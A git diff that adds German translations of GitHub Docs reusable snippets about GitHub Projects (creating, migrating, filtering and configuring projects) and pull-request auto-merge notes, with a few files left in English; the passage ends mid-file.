diff --git a/translations/de-DE/data/reusables/projects/add-item-via-paste.md b/translations/de-DE/data/reusables/projects/add-item-via-paste.md
new file mode 100644
index 0000000000..e8836fc341
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/add-item-via-paste.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 477122edeb960deca31d1ad0b97b7ad30681f23b
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109425"
+---
+{% data reusables.projects.add-item-bottom-row %}
+1. Füge die URL des Issues oder Pull Requests ein.
+  ![Screenshot des Einfügevorgangs beim Hinzufügen einer Issue-URL zum Projekt](/assets/images/help/projects-v2/paste-url-to-add.png)
+3. Drücke die <kbd>EINGABETASTE</kbd>, um das Issue bzw. den Pull Request hinzuzufügen.
diff --git a/translations/de-DE/data/reusables/projects/bulk-add.md b/translations/de-DE/data/reusables/projects/bulk-add.md
new file mode 100644
index 0000000000..8f9e5bdb15
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/bulk-add.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: d0d7eb973a255091345f61ff69f8f20f6361d0d9
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108519"
+---
+1. Wahlweise kannst du ein Repository ändern, indem du auf das Dropdownmenü klickst und das Repository auswählst. Du kannst auch nach bestimmten Issues und Pull Requests suchen.
+  ![Screenshot des Dropdownmenüs zur Auswahl des Repositorys](/assets/images/help/projects-v2/add-bulk-select-repo.png)
+1. Wähle die Issues und Pull Requests aus, die du hinzufügen möchtest.
+  ![Screenshot: Auswählen der hinzuzufügenden Issues und Pull Requests](/assets/images/help/projects-v2/add-bulk-select-issues.png)
+1. Klicke auf **Ausgewählte Elemente hinzufügen**.
+  ![Screenshot der Schaltfläche „Ausgewählte Elemente hinzufügen“](/assets/images/help/projects-v2/add-bulk-save.png)
diff --git a/translations/de-DE/data/reusables/projects/classic-project-creation.md b/translations/de-DE/data/reusables/projects/classic-project-creation.md
new file mode 100644
index 0000000000..7d4007a881
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/classic-project-creation.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 682ba253ea2660d8608033598343393372ae3cbf
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109417"
+---
+{% ifversion fpt or ghec %}
+
+{% note %}
+
+**Hinweis:** Du kannst nur dann ein neues klassisches Projektboard für eine Organisation, einen Benutzer oder ein Repository erstellen, wenn es bereits mindestens ein klassisches Projektboard gibt. Wenn du kein klassisches Projektboard erstellen kannst, erstelle stattdessen ein Betaprojektboard. Weitere Informationen findest du unter [Erstellen eines Projekts (Beta)](/issues/trying-out-the-new-projects-experience/creating-a-project).
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/projects/create-project.md b/translations/de-DE/data/reusables/projects/create-project.md
new file mode 100644
index 0000000000..a1df03647a
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/create-project.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: 76eeed11f377193c3179cef8438bc9a932d5f4ef
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147423292"
+---
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %}
+1. Klicke unter deinem Organisationsnamen auf {% octicon "table" aria-label="The project icon" %} **Projekte**.
+  ![Screenshot der Registerkarte „Projekte“](/assets/images/help/projects-v2/tab-projects.png)
+1. Klicke auf **Neues Projekt**.
+   ![Screenshot der Schaltfläche „Neues Projekt“](/assets/images/help/projects-v2/new-project-button.png)
+1. Wenn du zur Auswahl einer Vorlage aufgefordert wirst, klicke auf eine Vorlage, oder starte mit einem leeren Projekt, indem du auf **Tabelle** oder **Board** klickst. Klicke dann auf **Erstellen**.
+
+   ![Screenshot der modalen Vorlagenauswahl](/assets/images/help/issues/projects-select-template.png)
diff --git a/translations/de-DE/data/reusables/projects/create-user-project.md b/translations/de-DE/data/reusables/projects/create-user-project.md
new file mode 100644
index 0000000000..55b7f78974
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/create-user-project.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: db4d0f2e82f8d7044c4c1c53f0ba2e19bec59dcc
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882827"
+---
+{% data reusables.profile.access_profile %}
+1. Klicke in deinem Profil auf {% octicon "table" aria-label="The project icon" %} **Projekte**.
+  ![Screenshot der Registerkarte „Projekte“](/assets/images/help/projects-v2/tab-projects.png)
+1. Klicke auf **Neues Projekt**.
+   ![Neues Projekt](/assets/images/help/projects-v2/new-project-button.png)
+1. Wenn du zur Auswahl einer Vorlage aufgefordert wirst, klicke auf eine Vorlage, oder starte mit einem leeren Projekt, indem du auf **Tabelle** oder **Board** klickst. Klicke dann auf **Erstellen**.
+
+   ![Screenshot der modalen Vorlagenauswahl](/assets/images/help/issues/projects-select-template.png)
diff --git a/translations/de-DE/data/reusables/projects/disabled-projects.md b/translations/de-DE/data/reusables/projects/disabled-projects.md
new file mode 100644
index 0000000000..554073b6b9
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/disabled-projects.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3f169e9d98028d38910b3f7b0359d5620c4b4639
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884373"
+---
+Dieses Ereignis wird nur in Antworten angezeigt, wenn Projektboards im Repository [aktiviert](/articles/disabling-project-boards-in-a-repository) wurden.
diff --git a/translations/de-DE/data/reusables/projects/enable-basic-workflow.md b/translations/de-DE/data/reusables/projects/enable-basic-workflow.md
new file mode 100644
index 0000000000..715219b099
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/enable-basic-workflow.md
@@ -0,0 +1,17 @@
+{% data reusables.projects.access-workflows %}
+1. Under **Default workflows**, click on the workflow that you want to edit.
+   
+   ![Screenshot showing default workflows](/assets/images/help/projects-v2/default-workflows.png)
+
+2. If the workflow can apply to both issues and pull requests, next to **When**, check the item type(s) that you want to act on.
+   
+   ![Screenshot showing the "when" configuration for a workflow](/assets/images/help/projects-v2/workflow-when.png)
+
+3. Next to **Set**, choose the value that you want to set the status to.
+   
+   ![Screenshot showing the "set" configuration for a workflow](/assets/images/help/projects-v2/workflow-set.png)
+
+4. If the workflow is disabled, click the toggle next to **Off** to enable the workflow.
+   
+   ![Screenshot showing the "On/Off" control for a workflow](/assets/images/help/projects-v2/workflow-enable.png)
+   
diff --git a/translations/de-DE/data/reusables/projects/enable-migration.md b/translations/de-DE/data/reusables/projects/enable-migration.md
new file mode 100644
index 0000000000..c5d7433d93
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/enable-migration.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d22df8d5bd389ddf5f3aa5a630285d1011269138
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147080376"
+---
+1. Aktiviere in der Featurevorschau „Projektmigration“. Weitere Informationen findest du unter [Testen von Early-Access-Releases mit der Featurevorschau](/get-started/using-github/exploring-early-access-releases-with-feature-preview).
diff --git a/translations/de-DE/data/reusables/projects/graphql-deprecation.md b/translations/de-DE/data/reusables/projects/graphql-deprecation.md
new file mode 100644
index 0000000000..1c84363a41
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/graphql-deprecation.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 58e4db1779a66fdac60bf63eef02984bc7ae769d
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876914"
+---
+{% note %}
+
+**Hinweis:** Wir haben die `ProjectNext` GraphQL API am **20.06.2022** als veraltet eingestuft und werden die `ProjectNext` GraphQL-API am **01.10.2022** einstellen. Weitere Informationen zur Umstellung auf die neue `ProjectV2` GraphQL-API findest du unter [Die neuen GitHub-Issues – Update vom 23. Juni](https://github.blog/changelog/2022-06-23-the-new-github-issues-june-23rd-update/) im {% data variables.product.prodname_blog %}.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/projects/graphql-ghes.md b/translations/de-DE/data/reusables/projects/graphql-ghes.md
new file mode 100644
index 0000000000..2480bd1523
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/graphql-ghes.md
@@ -0,0 +1,9 @@
+{% ifversion ghes = 3.7 %}
+
+{% note %}
+
+**Note:** The ProjectsV2 GraphQL API may not be available on {% data variables.location.product_location %}. 
+
+{% endnote %}
+
+{% endif %}
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/projects/insights-alpha.md b/translations/de-DE/data/reusables/projects/insights-alpha.md
new file mode 100644
index 0000000000..910ba3cdb4
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/insights-alpha.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: c0d7f3ebd22bec99fcaf590ef450d09de3f5ca62
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145090961"
+---
+{% note %}
+
+**Hinweis**: Erkenntnisse für Projekte (Beta) befinden sich derzeit in der privaten Vorschauphase und sind noch nicht für alle Organisationen verfügbar. 
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/projects/migrate-project-steps.md b/translations/de-DE/data/reusables/projects/migrate-project-steps.md
new file mode 100644
index 0000000000..d23d8438fb
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/migrate-project-steps.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 06ccb7d54079b9cd73a4ce66b02ae3cc9a7b3cf1
+ms.sourcegitcommit: 094dff459fcbf7d0634930e02405606dfffd7f0a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/12/2022
+ms.locfileid: "148163229"
+---
+1. Klicke neben dem Projekt, das du migrieren möchtest, auf {% octicon "kebab-horizontal" aria-label="The menu icon" %}, um das Menü zu öffnen.
+1. Klicke im Menü auf **Migrieren**.
+  ![Screenshot der Option „Migrieren“](/assets/images/help/issues/migrate-menu-item.png)
+1. Wähle im Popup aus, was nach der Migration des Projekts geschehen soll. Es wird empfohlen, „Altes Projekt schließen“ auszuwählen, damit klar ist, welches Projekt verwendet wird.
+  ![Screenshot des modalen Migrationsdialogs](/assets/images/help/issues/migrate-option.png)
+1. Klicke unten rechts im Popup auf **Migration starten**.
+  ![Screenshot der Schaltfläche „Migration starten“](/assets/images/help/issues/migrate-start.png)
diff --git a/translations/de-DE/data/reusables/projects/new-field.md b/translations/de-DE/data/reusables/projects/new-field.md
new file mode 100644
index 0000000000..e56379592b
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/new-field.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 3acee6d785e2b633f979e7edb8f80544dfa09ced
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109414"
+---
+1. Klicke in der Tabellenansicht im Feld ganz rechts auf {% octicon "plus" aria-label="the plus icon" %}.
+   ![Screenshot der Schaltfläche „Neues Feld“](/assets/images/help/projects-v2/new-field-button.png)
+1. Klicke auf **Neues Feld**.
+   ![Screenshot des Menüelements „Neues Feld“](/assets/images/help/projects-v2/new-field-menu-item.png)
+1. Gib den Namen deines neuen Felds ein.
+   ![Screenshot des Feldnamens](/assets/images/help/projects-v2/new-field-name.png)
diff --git a/translations/de-DE/data/reusables/projects/new-view.md b/translations/de-DE/data/reusables/projects/new-view.md
new file mode 100644
index 0000000000..1792cdc9d8
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/new-view.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 9bac51e4098b1da121c0763f8581716a547353af
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108330"
+---
+1. Klicke rechts neben deinen vorhandenen Ansichten auf **Neue Ansicht**
+   ![Screenshot des Menüs „Spaltenfeld“](/assets/images/help/projects-v2/new-view.png)
diff --git a/translations/de-DE/data/reusables/projects/open-command-palette.md b/translations/de-DE/data/reusables/projects/open-command-palette.md
new file mode 100644
index 0000000000..0a9968cc7b
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/open-command-palette.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0a7a885c84adc96136d9ce7c2ae624da9d7fbe53
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147872788"
+---
+Um die Projektbefehlspalette zu öffnen, drücke <kbd>BEFEHL</kbd>+<kbd>K</kbd> (Mac) oder <kbd>STRG</kbd>+<kbd>K</kbd> (Windows/Linux).
diff --git a/translations/de-DE/data/reusables/projects/open-item-menu.md b/translations/de-DE/data/reusables/projects/open-item-menu.md
new file mode 100644
index 0000000000..b80f2b02d5
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/open-item-menu.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 10c8c2b298fd4eaec742bf9efbc686d6f2bb3c0b
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109409"
+---
+1.  Klicke auf {% octicon "triangle-down" aria-label="the item menu" %} (im Tabellenlayout) oder {% octicon "kebab-horizontal" aria-label="the item menu" %} (im Boardlayout).
diff --git a/translations/de-DE/data/reusables/projects/open-view-menu.md b/translations/de-DE/data/reusables/projects/open-view-menu.md
new file mode 100644
index 0000000000..82b697f506
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/open-view-menu.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 167d4ab0b57e2af8ee07f720db569725829adf69
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109401"
+---
+1. Klicke neben Namen der derzeit geöffneten Ansicht auf {% octicon "triangle-down" aria-label="the drop-down icon" %}.
+  ![Screenshot des Ansichtsmenüsymbols](/assets/images/help/projects-v2/view-menu-icon.png)
diff --git a/translations/de-DE/data/reusables/projects/owners-can-limit-visibility-permissions.md b/translations/de-DE/data/reusables/projects/owners-can-limit-visibility-permissions.md
new file mode 100644
index 0000000000..891737efa8
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/owners-can-limit-visibility-permissions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a811a75bedf573e347f2346a8872dd533b3a4466
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108359"
+---
+Organisationsbesitzer können die Fähigkeit von Organisationsmitgliedern steuern, öffentliche {% data variables.projects.projects_v2_and_v1 %} zu erstellen oder die Sichtbarkeit vorhandener {% data variables.projects.projects_v2_and_v1 %} in „Öffentlich“ zu ändern. Weitere Informationen findest du unter [Zulassen von Änderungen an der Sichtbarkeit von Projekten in deiner Organisation](/organizations/managing-organization-settings/allowing-project-visibility-changes-in-your-organization).
diff --git a/translations/de-DE/data/reusables/projects/project-description.md b/translations/de-DE/data/reusables/projects/project-description.md
new file mode 100644
index 0000000000..c5a3361aa3
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/project-description.md
@@ -0,0 +1,21 @@
+---
+ms.openlocfilehash: 18791d3acd8ee5e40621be07a2a5ea3b141ed749
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147885844"
+---
+In der Beschreibung und der README deines Projekts kannst du über den Zweck deines Projekts informieren, Anleitungen zur Verwendung des Projekts bereitstellen und relevante Links angeben.
+
+{% data reusables.projects.project-settings %}
+1. Um deinem Projekt eine kurze Beschreibung hinzuzufügen, gib unter „Beschreibung hinzufügen“ einen entsprechenden Text in das Feld ein und klicke auf **Speichern**.
+  ![Screenshot der Einstellungen für „Beschreibung hinzufügen“](/assets/images/help/projects-v2/edit-description.png)
+1. Um die README deines Projekts zu aktualisieren, gib unter „README“ den gewünschten Inhalt in das Textfeld ein.
+   - Du kannst die README mithilfe von Markdown formatieren. Weitere Informationen findest du unter [Grundlegende Schreib- und Formatierungssyntax](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax).
+   - Zum Umschalten zwischen dem Textfeld und einer Vorschau deiner Änderungen klicke auf {% octicon "eye" aria-label="The preview icon" %} oder {% octicon "pencil" aria-label="The edit icon" %}.
+  ![Screenshot zur Bearbeitung der README eines Projekts](/assets/images/help/projects-v2/edit-readme.png)
+1. Um Änderungen an deiner README zu speichern, klicke auf **Speichern**.
+  ![Screenshot der Schaltfläche „Speichern“ für die README eines Projekts](/assets/images/help/projects-v2/save-readme-button.png)
+
+Du kannst die Beschreibung und die README deines Projekts anzeigen und schnell ändern, indem du zu deinem Projekt navigierst und oben rechts auf {% octicon "sidebar-expand" aria-label="The sidebar icon" %} klickst.
diff --git a/translations/de-DE/data/reusables/projects/project-settings.md b/translations/de-DE/data/reusables/projects/project-settings.md
new file mode 100644
index 0000000000..e33201d6cf
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/project-settings.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 5d00733f618afa1863da868f60cf56b7c064af6b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883788"
+---
+1. Navigiere zu deinem Projekt.
+1. Klicke rechts oben auf {% octicon "kebab-horizontal" aria-label="The menu icon" %}, um das Menü zu öffnen.
+  ![Screenshot des Menüsymbols](/assets/images/help/projects-v2/open-menu.png)
+2. Klicke im Menü auf {% octicon "gear" aria-label="The gear icon" %} **Einstellungen**, um auf die Projekteinstellungen zuzugreifen.
+  ![Screenshot des Menüelements „Einstellungen“](/assets/images/help/projects-v2/settings-menu-item.png)
diff --git a/translations/de-DE/data/reusables/projects/project_boards_old.md b/translations/de-DE/data/reusables/projects/project_boards_old.md
new file mode 100644
index 0000000000..8f5167e96b
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/project_boards_old.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: bebce4bce257b7f6c754782b0db30840d88330d7
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147423668"
+---
+{% ifversion fpt or ghec %}
+
+{% note %}
+
+**Hinweise:**
+* {% data variables.product.prodname_projects_v2 %}, die völlig neue Benutzeroberfläche für Projekte, ist jetzt verfügbar. Weitere Informationen zu {% data variables.product.prodname_projects_v2 %} findest du unter [Informationen zu {% data variables.product.prodname_projects_v2 %}](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects). Informationen zum Migrieren deines {% data variables.projects.projects_v1_board %}s findest du unter [Migrieren von {% data variables.product.prodname_projects_v1_caps %}](/issues/planning-and-tracking-with-projects/creating-projects/migrating-from-projects-classic).
+* Du kannst nur dann ein neues klassisches Projektboard für eine Organisation, eine*n Benutzer*in oder ein Repository erstellen, wenn es bereits mindestens ein klassisches Projektboard gibt. Wenn du kein klassisches Projektboard erstellen kannst, erstelle stattdessen ein Projektboard.
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/projects/projects-api.md b/translations/de-DE/data/reusables/projects/projects-api.md
new file mode 100644
index 0000000000..70e316cd72
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/projects-api.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: 2e24caea6bd8d7609ce24ec67f497ddbc1db8716
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147423596"
+---
+{% ifversion fpt or ghec %} {% note %}
+
+**Hinweise:** 
+
+* Diese API gilt nur für {% data variables.product.prodname_projects_v1 %}. {% data variables.product.prodname_projects_v2 %} können mit der GraphQL-API verwaltet werden. Weitere Informationen findest du unter [Verwenden der API zum Verwalten von Projekten](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects).
+* Du kannst ein neues {% data variables.projects.projects_v1_board %} nur für Organisationen, Benutzer*innen oder Repositorys erstellen, die bereits über mindestens ein {% data variables.projects.projects_v1_board %} verfügen.
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/projects/projects-beta.md b/translations/de-DE/data/reusables/projects/projects-beta.md
new file mode 100644
index 0000000000..8a2ce9cc68
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/projects-beta.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 0b11238d829229c838a3b186129c3d75b34bb408
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145090954"
+---
+{% note %}
+
+**Hinweis**: Projekte (Beta) liegen derzeit als öffentliche Betaversion vor und können sich noch ändern.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/projects/projects-filters.md b/translations/de-DE/data/reusables/projects/projects-filters.md
new file mode 100644
index 0000000000..0fa8f3b743
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/projects-filters.md
@@ -0,0 +1,10 @@
+- To filter for any match of multiple values (an OR query), separate the values with a comma. For example `label:"good first issue",bug` will list all issues labelled `good first issue` or `bug`.
+- To filter for the absence of a specific value, place `-` before your filter. For example, `-label:"bug"` will only show items that do not have the label `bug`.
+- To filter for the absence of all values, enter `no:` followed by the field name. For example, `no:assignee` will only show items that do not have an assignee.
+- To filter by state, enter `is:`. For example, `is: issue` or `is:open`.
+- Separate multiple filters with a space. For example, `status:"In progress" -label:"bug" no:assignee` will show only items that have a status of `In progress`, do not have the label `bug`, and do not have an assignee.
+- To filter for the previous, current, or next iteration of an iteration field, use `@previous`, `@current`, or `@next`. For example, `iteration:@current`.
+- To filter for items assigned to the viewer, use `@me`. For example, `assignee:@me`. Anyone using this view will see items assigned to themselves.
+- To filter by when an item was last updated, use `last-updated:` followed by the number of days. This filter only supports `{number}days` (or `1day` for a single day) as a unit. For example, `last-updated:7days` will only show items that were last updated 7 or more days ago.
+- To filter date and number fields, use `>`, `>=`, `<`, `<=`, and `..` range queries. For example: `target:2022-03-01..2022-03-15`. For more information, see "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)." {% ifversion projects-v2-tasklists %}
+- To filter for issues tracked by a specified issue, use `tracked-by:"<OWNER>/<REPO>#<ISSUE NUMBER>"` and replace `<OWNER>` with the repository owner, `<REPO>` with the repository name, and `<ISSUE NUMBER>` with the issue number. {% endif %}
diff --git a/translations/de-DE/data/reusables/projects/reopen-a-project.md b/translations/de-DE/data/reusables/projects/reopen-a-project.md
new file mode 100644
index 0000000000..dbaf40e2e9
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/reopen-a-project.md
@@ -0,0 +1,18 @@
+---
+ms.openlocfilehash: 89d6f8632c5afdba95861230c47fe358c6d18c7b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147423724"
+---
+1. Klicke auf die Registerkarte **Projekte**. ![Screenshot der Schaltfläche zum Schließen des Projekts](/assets/images/help/issues/projects-profile-tab.png)
+1. Zum Anzeigen geschlossener Projekte klicke auf **Geschlossen**.
+   ![Screenshot der Schaltfläche zum Schließen des Projekts](/assets/images/help/issues/closed-projects-tab.png)
+1. Klicke auf das Projekt, das du erneut öffnen möchtest.
+1. Klicke rechts oben auf {% octicon "kebab-horizontal" aria-label="The menu icon" %}, um das Menü zu öffnen.
+  ![Screenshot des Menüsymbols](/assets/images/help/projects-v2/open-menu.png)
+1. Klicke im Menü auf {% octicon "gear" aria-label="The gear icon" %} **Einstellungen**, um auf die Projekteinstellungen zuzugreifen.
+  ![Screenshot des Menüelements „Einstellungen“](/assets/images/help/projects-v2/settings-menu-item.png)
+1. Klicke unten auf der Seite auf **Projekt erneut öffnen**.
+   ![Screenshot der Schaltfläche „Projekt erneut öffnen“](/assets/images/help/issues/reopen-project-button.png)
diff --git a/translations/de-DE/data/reusables/projects/save-view.md b/translations/de-DE/data/reusables/projects/save-view.md
new file mode 100644
index 0000000000..9519e721c8
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/save-view.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 2a7a472bbfeed56c58e483b61c2a140aa52e63e8
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108334"
+---
+{% data reusables.projects.open-view-menu %}
+1. Klicke auf **Änderungen speichern**.
+   ![Screenshot des Menüelements „Speichern“](/assets/images/help/projects-v2/save-view.png)
diff --git a/translations/de-DE/data/reusables/projects/select-an-item.md b/translations/de-DE/data/reusables/projects/select-an-item.md
new file mode 100644
index 0000000000..053f1e7a4e
--- /dev/null
+++ b/translations/de-DE/data/reusables/projects/select-an-item.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 8fef95ca781a57606206a89a8408bcd4774402e2
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109510"
+---
+1. Wähle das Element aus. Wenn du mehrere Elemente auswählen möchtest, befolgst du eine der folgenden Vorgehensweisen:
+     - Halte <kbd>COMMAND</kbd> (Mac) oder <kbd>STRG</kbd> (Windows/Linux) gedrückt, und klicke auf die einzelnen Elemente.
+     - Wähle ein Element aus, und drücke dann <kbd>UMSCHALT</kbd>+<kbd>↑</kbd> oder <kbd>UMSCHALT</kbd>+<kbd>↓</kbd>, um weitere Elemente über oder unter dem ausgewählten Element auszuwählen.
+     - Wähle ein Element aus, halte dann <kbd>UMSCHALT</kbd> gedrückt, und klicke auf ein anderes Element, um alle Elemente zwischen diesen beiden Elementen auszuwählen.
+     - Wenn bereits eine Zeile bzw. ein Element ausgewählt ist, drücke <kbd>COMMAND</kbd>+<kbd>A</kbd> (Mac) oder <kbd>STRG</kbd>+<kbd>A</kbd> (Windows oder Linux), um alle Elemente in einer Spalte des Boardlayouts oder alle Elemente im Tabellenlayout auszuwählen.
diff --git a/translations/de-DE/data/reusables/pull_requests/auto-merge-requires-branch-protection.md b/translations/de-DE/data/reusables/pull_requests/auto-merge-requires-branch-protection.md
new file mode 100644
index 0000000000..145b67150d
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/auto-merge-requires-branch-protection.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 687f4b359eab175d9c54f4ae11f7f0315ab52b4f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145090949"
+---
+{% note %}
+
+**Hinweis**: Die Option zum Aktivieren automatischer Merges wird nur bei Pull Requests angezeigt, die nicht sofort gemergt werden können. Dies ist beispielsweise der Fall, wenn eine Branchschutzregel Pull Request-Reviews vor dem Mergen erzwingt oder Statusüberprüfungen vor dem Mergen erfolgreich durchgeführt werden müssen und diese Bedingungen noch nicht erfüllt werden. Weitere Informationen findest du unter [Informationen zu Branchschutzregeln](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule).
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/pull_requests/automatically-delete-branches.md b/translations/de-DE/data/reusables/pull_requests/automatically-delete-branches.md
new file mode 100644
index 0000000000..749d8625c1
--- /dev/null
+++ b/translations/de-DE/data/reusables/pull_requests/automatically-delete-branches.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: cb8c02d6aa85aadd442d35976814d2b82469c9ef
